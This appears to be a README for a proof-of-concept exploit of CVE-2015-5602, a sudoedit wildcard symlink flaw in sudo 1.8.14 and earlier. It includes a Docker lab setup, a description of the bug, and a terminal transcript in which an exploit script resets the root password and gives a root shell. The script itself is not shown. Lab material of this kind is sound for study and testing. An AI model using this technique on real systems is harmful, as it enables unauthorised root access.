Sudo <=1.8.14 Local Privilege Escalation
Sudo (su "do") allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root while logging all commands and arguments.
To setup a vulnerable environment for your test you will need Docker installed, and just run the following command:
docker build -t privesc/cve-2015-5602 . docker run --rm -it privesc/cve-2015-5602
And it will spawn a interactive shell with low user privileges.
The bug was found in sudoedit, which does not check the full path if a wildcard is used twice (e.g.
/home/*/*/esc.txt), this allows a malicious user to replace the esc.txt real file with a symbolic link to a different location (e.g.
Successfully exploiting this issue may allow an attacker to manipulate files and to gain root privileges on host system through symlink attacks.
To exploit this target just run:
If you are using this vulnerable image, you can just run:
user@1cc9cd901b07:~$ sudo -l User user may run the following commands on 1cc9cd901b07: (root) NOPASSWD: sudoedit /home/*/*/esc.txt user@1cc9cd901b07:~$ ./exploit.sh [+] CVE-2015-5602 exploit by t0kx [+] Creating folder... [+] Creating symlink [+] Modify EDITOR... [+] Change root password to: d03c09dc34c53657aff1f459a86b20ed [+] Done user@1cc9cd901b07:~$ su Password: root@1cc9cd901b07:/home/user# id uid=0(root) gid=0(root) groups=0(root) root@1cc9cd901b07:/home/user#
This flaw was found by Daniel Svartman.
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